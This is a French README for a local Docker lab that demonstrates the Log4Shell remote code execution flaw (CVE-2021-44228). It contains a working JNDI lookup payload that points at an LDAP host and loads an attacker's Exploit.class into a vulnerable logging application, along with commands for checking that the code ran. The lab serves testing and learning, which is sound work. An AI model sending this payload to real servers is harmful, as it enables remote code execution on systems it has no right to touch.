
log4j2 CVE-2021-44228 POC
Projet pour tester la vulnérabilité d'exécution de code à distance de log4j2 (CVE-2021-44228).
docker-compose up
Le conteneur log4j prend un peu de temps pour être prêt après le démarrage. Vérifiez la progression avec la commande suivante :
docker logs -f log4j
Lorsque Server started: Listening on port 8081 s'affiche, il est prêt.
Vérifiez le répertoire /root du conteneur log4j :
docker exec log4j ls /root
Initialement, seul le répertoire work est présent.
Accédez à http://localhost:8081/. C'est une application simple qui affiche le nom saisi dans le formulaire à l'écran et dans les logs.
Saisissez ${jndi:ldap://ldap.example.com/cn=java,dc=example,dc=com} dans le formulaire et soumettez-le.
Vérifiez le répertoire /root du conteneur log4j :
docker exec log4j ls /root
Le code préparé par l'attaquant a été exécuté et des fichiers qui n'existaient pas auparavant devraient être créés. Comme les noms de fichiers sont basés sur des horodatages, de nouveaux fichiers sont ajoutés à chaque attaque.
En consultant les logs du conteneur ldap, vous pouvez voir qu'une requête SEARCH provient du conteneur log4j :
docker logs ldap
En consultant les logs tomcat du conteneur web, vous pouvez voir un accès à Exploit.class (la classe utilisée pour l'attaque) depuis le conteneur log4j :
docker exec -it web bash
cat /usr/local/tomcat/logs/localhost_access_log.*